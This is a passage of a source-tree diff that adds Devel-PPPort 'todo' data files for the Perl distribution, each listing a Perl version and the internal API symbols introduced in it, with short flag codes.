diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009005
new file mode 100644
index 00000000000..a8ee73b1c94
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009005
@@ -0,0 +1,27 @@
+5.009005
+Perl_signbit # U
+av_create_and_push # U
+av_create_and_unshift_one # U
+gv_fetchfile_flags # U
+lex_start # E (Perl_lex_start)
+mro_get_linear_isa # U
+mro_method_changed_in # U
+my_dirfd # U
+pregcomp # E (Perl_pregcomp)
+ptr_table_clear # U
+ptr_table_fetch # U
+ptr_table_free # U
+ptr_table_new # U
+ptr_table_split # U
+ptr_table_store # U
+re_compile # U
+reg_named_buff_all # U
+reg_named_buff_exists # U
+reg_named_buff_fetch # U
+reg_named_buff_firstkey # U
+reg_named_buff_nextkey # U
+reg_named_buff_scalar # U
+regfree_internal # U
+savesharedpvn # U
+scan_vstring # E (Perl_scan_vstring)
+upg_version # E (Perl_upg_version)
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5010000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5010000
new file mode 100644
index 00000000000..737f374ef0f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5010000
@@ -0,0 +1,7 @@
+5.010000
+hv_common # U
+hv_common_key_len # U
+sv_destroyable # U
+sys_init # U
+sys_init3 # U
+sys_term # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5010001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5010001
new file mode 100644
index 00000000000..15f4091cc19
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5010001
@@ -0,0 +1,12 @@
+5.010001
+mro_get_from_name # U
+mro_get_private_data # U
+mro_register # U
+mro_set_mro # U
+mro_set_private_data # U
+save_hints # U
+save_padsv_and_mortalize # U
+save_pushi32ptr # U
+save_pushptr # U
+save_pushptrptr # U
+sv_insert_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011000
new file mode 100644
index 00000000000..805d8b19acd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011000
@@ -0,0 +1,14 @@
+5.011000
+Gv_AMupdate # E (Perl_Gv_AMupdate)
+PL_opfreehook # E
+SVt_REGEXP # E
+SvOOK_offset # U
+av_iter_p # U
+gv_add_by_type # U
+is_ascii_string # U
+pregfree2 # U
+save_adelete # U
+save_aelem_flags # U
+save_hdelete # U
+save_helem_flags # U
+sv_utf8_upgrade_flags_grow # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011001
new file mode 100644
index 00000000000..f42409363b7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011001
@@ -0,0 +1,6 @@
+5.011001
+ck_warner # U
+ck_warner_d # U
+is_utf8_perl_space # U
+is_utf8_perl_word # U
+is_utf8_posix_digit # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011002
new file mode 100644
index 00000000000..df12d99fd62
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011002
@@ -0,0 +1,13 @@
+5.011002
+PL_keyword_plugin # E
+lex_bufutf8 # U
+lex_discard_to # U
+lex_grow_linestr # U
+lex_next_chunk # U
+lex_peek_unichar # U
+lex_read_space # U
+lex_read_to # U
+lex_read_unichar # U
+lex_stuff_pvn # U
+lex_stuff_sv # U
+lex_unstuff # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011003
new file mode 100644
index 00000000000..3fd94ca1b60
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011003
@@ -0,0 +1 @@
+5.011003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011004
new file mode 100644
index 00000000000..86c1fce4f2a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011004
@@ -0,0 +1,2 @@
+5.011004
+prescan_version # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011005
new file mode 100644
index 00000000000..d9b0d6a4c94
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011005
@@ -0,0 +1,2 @@
+5.011005
+sv_pos_u2b_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012000
new file mode 100644
index 00000000000..82cbce2d6d9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012000
@@ -0,0 +1 @@
+5.012000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012001
new file mode 100644
index 00000000000..90dc03fdf35
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012001
@@ -0,0 +1 @@
+5.012001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012002
new file mode 100644
index 00000000000..8ab87f08d8a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012002
@@ -0,0 +1 @@
+5.012002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012003
new file mode 100644
index 00000000000..f2abab4c17c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012003
@@ -0,0 +1 @@
+5.012003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012004
new file mode 100644
index 00000000000..e7319cd5663
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012004
@@ -0,0 +1 @@
+5.012004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012005
new file mode 100644
index 00000000000..5af01305efd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012005
@@ -0,0 +1 @@
+5.012005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013000
new file mode 100644
index 00000000000..f2f116d2fab
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013000
@@ -0,0 +1 @@
+5.013000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013001
new file mode 100644
index 00000000000..a13e28cc4a2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013001
@@ -0,0 +1,2 @@
+5.013001
+sv_2nv_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013002
new file mode 100644
index 00000000000..fa6d99b4076
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013002
@@ -0,0 +1,9 @@
+5.013002
+SvNV_nomg # U
+find_rundefsv # U
+foldEQ # U
+foldEQ_locale # U
+foldEQ_utf8 # U
+hv_fill # U
+sv_dec_nomg # U
+sv_inc_nomg # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013003
new file mode 100644
index 00000000000..da041b1723a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013003
@@ -0,0 +1,2 @@
+5.013003
+blockhook_register # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013004
new file mode 100644
index 00000000000..8aac89eb8d4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013004
@@ -0,0 +1 @@
+5.013004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013005
new file mode 100644
index 00000000000..e9cd3e8b5f8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013005
@@ -0,0 +1,5 @@
+5.013005
+PL_rpeepp # E
+isOCTAL # U
+lex_stuff_pvs # U
+parse_fullstmt # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013006
new file mode 100644
index 00000000000..d145f368393
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013006
@@ -0,0 +1,32 @@
+5.013006
+LINKLIST # U
+SvTRUE_nomg # U
+ck_entersub_args_list # U
+ck_entersub_args_proto # U
+ck_entersub_args_proto_or_list # U
+cv_get_call_checker # E
+cv_set_call_checker # E
+isWORDCHAR # U
+lex_stuff_pv # U
+mg_free_type # U
+newSVpv_share # U
+op_append_elem # U
+op_append_list # U
+op_contextualize # U
+op_linklist # U
+op_prepend_elem # U
+parse_stmtseq # U
+rv2cv_op_cv # U
+savesharedpvs # U
+savesharedsvpv # U
+sv_2bool_flags # U
+sv_catpv_flags # U
+sv_catpv_nomg # U
+sv_catpvs_flags # U
+sv_catpvs_mg # U
+sv_catpvs_nomg # U
+sv_cmp_flags # U
+sv_cmp_locale_flags # U
+sv_collxfrm_flags # U
+sv_eq_flags # U
+sv_setpvs_mg # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013007
new file mode 100644
index 00000000000..c70717f6a5e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013007
@@ -0,0 +1,35 @@
+5.013007
+HvENAME # U
+OP_CLASS # U
+XopFLAGS # E
+amagic_deref_call # U
+bytes_cmp_utf8 # U
+cop_hints_2hv # A
+cop_hints_fetch_pv # U
+cop_hints_fetch_pvn # U
+cop_hints_fetch_pvs # U
+cop_hints_fetch_sv # U
+cophh_2hv # E
+cophh_copy # E
+cophh_delete_pv # E
+cophh_delete_pvn # E
+cophh_delete_pvs # E
+cophh_delete_sv # E
+cophh_fetch_pv # E
+cophh_fetch_pvn # E
+cophh_fetch_pvs # E
+cophh_fetch_sv # E
+cophh_free # E
+cophh_store_pv # E
+cophh_store_pvn # E
+cophh_store_pvs # E
+cophh_store_sv # E
+custom_op_register # E
+custom_op_xop # E
+newFOROP # A
+newWHILEOP # A
+op_lvalue # U
+op_scope # U
+parse_barestmt # U
+parse_block # U
+parse_label # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013008
new file mode 100644
index 00000000000..8e95c5d3133
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013008
@@ -0,0 +1,6 @@
+5.013008
+foldEQ_latin1 # U
+parse_arithexpr # U
+parse_fullexpr # U
+parse_listexpr # U
+parse_termexpr # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013009
new file mode 100644
index 00000000000..51160ae344d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013009
@@ -0,0 +1 @@
+5.013009
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013010
new file mode 100644
index 00000000000..d7f4365bfb1
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013010
@@ -0,0 +1,4 @@
+5.013010
+foldEQ_utf8_flags # U
+is_utf8_xidcont # U
+is_utf8_xidfirst # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013011
new file mode 100644
index 00000000000..a33715f749e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013011
@@ -0,0 +1 @@
+5.013011
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014000
new file mode 100644
index 00000000000..3f837ef4d0d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014000
@@ -0,0 +1,2 @@
+5.014000
+_to_uni_fold_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014001
new file mode 100644
index 00000000000..098fb03c9f4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014001
@@ -0,0 +1 @@
+5.014001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014002
new file mode 100644
index 00000000000..f280bd0f4f7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014002
@@ -0,0 +1 @@
+5.014002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014003
new file mode 100644
index 00000000000..333e50d1db2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014003
@@ -0,0 +1 @@
+5.014003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014004
new file mode 100644
index 00000000000..1618e365ea4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014004
@@ -0,0 +1 @@
+5.014004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015000
new file mode 100644
index 00000000000..d8c6546d720
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015000
@@ -0,0 +1 @@
+5.015000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015001
new file mode 100644
index 00000000000..144926b1244
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015001
@@ -0,0 +1,11 @@
+5.015001
+cop_fetch_label # U
+cop_store_label # U
+pad_add_name_pv # U
+pad_add_name_pvn # U
+pad_add_name_pvs # U
+pad_add_name_sv # U
+pad_findmy_pv # U
+pad_findmy_pvn # U
+pad_findmy_pvs # U
+pad_findmy_sv # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015002
new file mode 100644
index 00000000000..06741283d1d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015002
@@ -0,0 +1 @@
+5.015002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015003
new file mode 100644
index 00000000000..7f33df71289
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015003
@@ -0,0 +1 @@
+5.015003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015004
new file mode 100644
index 00000000000..d92eabc6738
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015004
@@ -0,0 +1,30 @@
+5.015004
+HvENAMELEN # U
+HvENAMEUTF8 # U
+HvNAMELEN # U
+HvNAMEUTF8 # U
+gv_autoload_pv # U
+gv_autoload_pvn # U
+gv_autoload_sv # U
+gv_fetchmeth_pv # U
+gv_fetchmeth_pv_autoload # U
+gv_fetchmeth_pvn # U
+gv_fetchmeth_pvn_autoload # U
+gv_fetchmeth_sv # U
+gv_fetchmeth_sv_autoload # U
+gv_fetchmethod_pv_flags # U
+gv_fetchmethod_pvn_flags # U
+gv_fetchmethod_sv_flags # U
+gv_init_pv # U
+gv_init_sv # U
+newGVgen_flags # U
+sv_derived_from_pv # U
+sv_derived_from_pvn # U
+sv_derived_from_sv # U
+sv_does_pv # U
+sv_does_pvn # U
+sv_does_sv # U
+sv_ref # U
+whichsig_pv # U
+whichsig_pvn # U
+whichsig_sv # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015005
new file mode 100644
index 00000000000..1908a935e3d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015005
@@ -0,0 +1 @@
+5.015005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015006
new file mode 100644
index 00000000000..4fb3c7c5901
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015006
@@ -0,0 +1,2 @@
+5.015006
+newCONSTSUB_flags # A
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015007
new file mode 100644
index 00000000000..ce9078968a1
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015007
@@ -0,0 +1,8 @@
+5.015007
+toLOWER_utf8 # U
+toTITLE_utf8 # U
+toUPPER_utf8 # U
+to_utf8_fold # U
+to_utf8_lower # U
+to_utf8_title # U
+to_utf8_upper # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015008
new file mode 100644
index 00000000000..14c640388c7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015008
@@ -0,0 +1,3 @@
+5.015008
+is_utf8_char_buf # U
+wrap_op_checker # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015009
new file mode 100644
index 00000000000..30537f0445e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015009
@@ -0,0 +1,5 @@
+5.015009
+utf8_to_uvchr_buf # U
+utf8_to_uvuni_buf # U
+valid_utf8_to_uvchr # U
+valid_utf8_to_uvuni # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016000
new file mode 100644
index 00000000000..3bd46b73620
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016000
@@ -0,0 +1 @@
+5.016000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016001
new file mode 100644
index 00000000000..5e2b46c7762
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016001
@@ -0,0 +1 @@
+5.016001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016002
new file mode 100644
index 00000000000..dfd939f6843
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016002
@@ -0,0 +1 @@
+5.016002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016003
new file mode 100644
index 00000000000..88e54eb950f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016003
@@ -0,0 +1 @@
+5.016003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017000
new file mode 100644
index 00000000000..bf56b9a68af
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017000
@@ -0,0 +1 @@
+5.017000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017001
new file mode 100644
index 00000000000..6c9994352af
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017001
@@ -0,0 +1 @@
+5.017001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017002
new file mode 100644
index 00000000000..fd825e14bcd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017002
@@ -0,0 +1,7 @@
+5.017002
+is_uni_blank # U
+is_uni_blank_lc # U
+is_utf8_blank # U
+sv_copypv_flags # U
+sv_copypv_nomg # U
+sv_vcatpvfn_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017003
new file mode 100644
index 00000000000..50227645479
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017003
@@ -0,0 +1 @@
+5.017003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017004
new file mode 100644
index 00000000000..02021258887
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017004
@@ -0,0 +1,5 @@
+5.017004
+PL_comppad_name # E
+PadlistREFCNT # U
+newMYSUB # E (Perl_newMYSUB)
+newSVpadname # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017005
new file mode 100644
index 00000000000..31dfb1c3838
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017005
@@ -0,0 +1 @@
+5.017005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017006
new file mode 100644
index 00000000000..0bb24862396
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017006
@@ -0,0 +1,2 @@
+5.017006
+READ_XDIGIT # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017007
new file mode 100644
index 00000000000..c95c23505f2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017007
@@ -0,0 +1,7 @@
+5.017007
+SvREFCNT_dec_NN # U
+_is_uni_perl_idstart # U
+_is_utf8_perl_idstart # U
+is_uni_alnumc # U
+is_uni_alnumc_lc # U
+is_utf8_alnumc # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017008
new file mode 100644
index 00000000000..9228a1506d0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017008
@@ -0,0 +1,8 @@
+5.017008
+_is_uni_FOO # U
+_is_uni_perl_idcont # U
+_is_utf8_FOO # U
+_is_utf8_mark # U
+_is_utf8_perl_idcont # U
+isALPHANUMERIC # U
+isIDCONT # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017009
new file mode 100644
index 00000000000..fd728270400
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017009
@@ -0,0 +1,3 @@
+5.017009
+av_tindex # U
+av_top_index # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017010
new file mode 100644
index 00000000000..fed2762e9b6
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017010
@@ -0,0 +1 @@
+5.017010
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017011
new file mode 100644
index 00000000000..5fcf0516810
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017011
@@ -0,0 +1 @@
+5.017011
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018000
new file mode 100644
index 00000000000..17729d0b741
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018000
@@ -0,0 +1,2 @@
+5.018000
+hv_rand_set # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018001
new file mode 100644
index 00000000000..5d4bb8f5003
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018001
@@ -0,0 +1 @@
+5.018001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018002
new file mode 100644
index 00000000000..17291bcf13a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018002
@@ -0,0 +1 @@
+5.018002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018003
new file mode 100644
index 00000000000..4d40f26283a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018003
@@ -0,0 +1 @@
+5.018003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018004
new file mode 100644
index 00000000000..f137cc2ad75
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018004
@@ -0,0 +1 @@
+5.018004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019000
new file mode 100644
index 00000000000..a6e8e034939
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019000
@@ -0,0 +1 @@
+5.019000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019001
new file mode 100644
index 00000000000..803ad9abffb
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019001
@@ -0,0 +1,6 @@
+5.019001
+re_intuit_start # A
+toFOLD # U
+toFOLD_utf8 # U
+toLOWER_L1 # U
+toTITLE # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019002
new file mode 100644
index 00000000000..5af71fbeae6
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019002
@@ -0,0 +1,2 @@
+5.019002
+SVt_INVLIST # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019003
new file mode 100644
index 00000000000..4bcc1d17f8c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019003
@@ -0,0 +1,2 @@
+5.019003
+sv_pos_b2u_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019004
new file mode 100644
index 00000000000..1aa2023c9f7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019004
@@ -0,0 +1,4 @@
+5.019004
+append_utf8_from_native_byte # U
+is_safe_syscall # U
+uvoffuni_to_utf8_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019005
new file mode 100644
index 00000000000..69dcd69aefb
--- /dev/null
